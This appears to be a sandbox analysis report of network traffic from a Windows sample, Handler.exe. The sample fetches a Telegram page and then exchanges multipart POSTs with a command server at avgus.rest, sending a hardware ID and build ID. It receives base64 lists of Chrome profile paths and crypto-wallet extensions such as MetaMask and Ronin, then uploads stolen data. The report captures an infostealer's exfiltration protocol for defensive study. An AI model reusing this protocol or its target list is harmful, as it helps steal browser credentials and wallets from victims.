Jan 13, 2025 20:18:51.471653938 CET	1.1.1.1	192.168.2.5	0x9ed	No error (0)	yachtingiturkey.com		162.0.209.157	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:21:27.199569941 CET	1.1.1.1	192.168.2.5	0xf38f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 13, 2025 20:21:27.200170994 CET	1.1.1.1	192.168.2.5	0x2bfa	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:21:27.200170994 CET	1.1.1.1	192.168.2.5	0x2bfa	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:22:33.260350943 CET	1.1.1.1	192.168.2.5	0xe7f0	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:22:33.260350943 CET	1.1.1.1	192.168.2.5	0xe7f0	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:22:33.260615110 CET	1.1.1.1	192.168.2.5	0x7674	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 13, 2025 20:23:30.008799076 CET	1.1.1.1	192.168.2.5	0xaeea	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:23:30.010406971 CET	1.1.1.1	192.168.2.5	0xeab	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:25:28.997080088 CET	1.1.1.1	192.168.2.5	0x8e1c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 13, 2025 20:25:28.997097969 CET	1.1.1.1	192.168.2.5	0x2dff	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:25:28.997097969 CET	1.1.1.1	192.168.2.5	0x2dff	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
2025-01-13 19:25:29 UTC	162.159.61.3	192.168.2.5	0x0	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-13 19:25:29 UTC	162.159.61.3	192.168.2.5	0x0	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	true

HTTP Request Dependency Graph

t.me

avgus.rest

www.google.com

apis.google.com

play.google.com

chrome.cloudflare-dns.com

https:

sb.scorecardresearch.com

browser.events.data.msn.com

c.msn.com

clients2.googleusercontent.com

yachtingiturkey.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	149.154.167.99	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:03 UTC	85	OUT	GET /w0ctzn HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:03 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Jan 2025 19:18:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12299 Connection: close Set-Cookie: stel_ssid=40ae01042601a28e1d_8950129331931414786; expires=Tue, 14 Jan 2025 19:18:03 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2025-01-13 19:18:03 UTC	12299	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 77 30 63 74 7a 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @w0ctzn</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:04 UTC	183	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:05 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----7yc2nozmozuaiekxlx4w User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:05 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 79 63 32 6e 6f 7a 6d 6f 7a 75 61 69 65 6b 78 6c 78 34 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 46 36 43 36 44 30 38 35 32 30 37 34 31 37 30 30 36 36 32 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 37 79 63 32 6e 6f 7a 6d 6f 7a 75 61 69 65 6b 78 6c 78 34 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 37 79 63 32 6e 6f 7a 6d 6f 7a 75 61 69 65 6b 78 6c 78 34 77 2d 2d 0d 0a Data Ascii: ------7yc2nozmozuaiekxlx4wContent-Disposition: form-data; name="hwid"0F6C6D085207417006623-a33c7340-61ca------7yc2nozmozuaiekxlx4wContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------7yc2nozmozuaiekxlx4w--
2025-01-13 19:18:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:06 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|f8dbb3bb794dd55661c1132c7ae7b7e6\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49714	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:07 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----us2nopzm79hv3ectject User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:07 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 75 73 32 6e 6f 70 7a 6d 37 39 68 76 33 65 63 74 6a 65 63 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 75 73 32 6e 6f 70 7a 6d 37 39 68 76 33 65 63 74 6a 65 63 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 75 73 32 6e 6f 70 7a 6d 37 39 68 76 33 65 63 74 6a 65 63 74 0d 0a 43 6f 6e 74 Data Ascii: ------us2nopzm79hv3ectjectContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------us2nopzm79hv3ectjectContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------us2nopzm79hv3ectjectCont
2025-01-13 19:18:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:08 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:08 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----gvk6phlxtj5p8q1ny58y User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:08 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 67 76 6b 36 70 68 6c 78 74 6a 35 70 38 71 31 6e 79 35 38 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 67 76 6b 36 70 68 6c 78 74 6a 35 70 38 71 31 6e 79 35 38 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 67 76 6b 36 70 68 6c 78 74 6a 35 70 38 71 31 6e 79 35 38 79 0d 0a 43 6f 6e 74 Data Ascii: ------gvk6phlxtj5p8q1ny58yContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------gvk6phlxtj5p8q1ny58yContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------gvk6phlxtj5p8q1ny58yCont
2025-01-13 19:18:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:09 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49716	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:10 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----79zukxtjec2n7q1vs2v3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:10 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 39 7a 75 6b 78 74 6a 65 63 32 6e 37 71 31 76 73 32 76 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 37 39 7a 75 6b 78 74 6a 65 63 32 6e 37 71 31 76 73 32 76 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 37 39 7a 75 6b 78 74 6a 65 63 32 6e 37 71 31 76 73 32 76 33 0d 0a 43 6f 6e 74 Data Ascii: ------79zukxtjec2n7q1vs2v3Content-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------79zukxtjec2n7q1vs2v3Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------79zukxtjec2n7q1vs2v3Cont
2025-01-13 19:18:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:10 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49718	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:11 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----f37g4ozm7y5pzmohvs0r User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 7261 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:11 UTC	7261	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 66 33 37 67 34 6f 7a 6d 37 79 35 70 7a 6d 6f 68 76 73 30 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 66 33 37 67 34 6f 7a 6d 37 79 35 70 7a 6d 6f 68 76 73 30 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 66 33 37 67 34 6f 7a 6d 37 79 35 70 7a 6d 6f 68 76 73 30 72 0d 0a 43 6f 6e 74 Data Ascii: ------f37g4ozm7y5pzmohvs0rContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------f37g4ozm7y5pzmohvs0rContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------f37g4ozm7y5pzmohvs0rCont
2025-01-13 19:18:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:12 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49719	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:12 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----jecjec2nyuk6f3euasje User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:12 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 6a 65 63 6a 65 63 32 6e 79 75 6b 36 66 33 65 75 61 73 6a 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 6a 65 63 6a 65 63 32 6e 79 75 6b 36 66 33 65 75 61 73 6a 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 6a 65 63 6a 65 63 32 6e 79 75 6b 36 66 33 65 75 61 73 6a 65 0d 0a 43 6f 6e 74 Data Ascii: ------jecjec2nyuk6f3euasjeContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------jecjec2nyuk6f3euasjeContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------jecjec2nyuk6f3euasjeCont
2025-01-13 19:18:13 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:13 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49723	172.217.18.100	443	7364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:15 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 19:18:15 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 19:18:15 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-tmsgxmzrBtDO0xmE0C07Lw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-13 19:18:15 UTC	124	IN	Data Raw: 64 64 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 77 65 20 72 61 77 22 2c 22 70 6c 61 6e 65 74 73 20 61 6c 69 67 6e 69 6e 67 22 2c 22 63 6f 73 74 63 6f 20 64 69 6e 6e 65 72 20 6b 69 74 20 63 68 69 63 6b 65 6e 20 74 61 63 6f 22 2c 22 72 69 76 69 65 72 61 20 63 6f 75 6e 74 72 79 20 63 6c 75 62 20 66 69 72 65 73 22 2c 22 68 61 70 70 79 20 6c 6f 68 72 69 20 77 69 73 68 65 Data Ascii: dd1)]}'["",["wwe raw","planets aligning","costco dinner kit chicken taco","riviera country club fires","happy lohri wishe
2025-01-13 19:18:15 UTC	1390	IN	Data Raw: 73 22 2c 22 78 62 6f 78 20 64 65 76 65 6c 6f 70 65 72 20 64 69 72 65 63 74 20 6a 61 6e 75 61 72 79 20 32 33 22 2c 22 6e 79 63 20 63 6f 6e 67 65 73 74 69 6f 6e 20 70 72 69 63 69 6e 67 22 2c 22 75 73 20 72 65 74 69 72 65 65 20 6d 61 6c 61 79 73 69 61 20 6d 6d 32 68 20 76 69 73 61 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 Data Ascii: s","xbox developer direct january 23","nyc congestion pricing","us retiree malaysia mm2h visa"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdeta
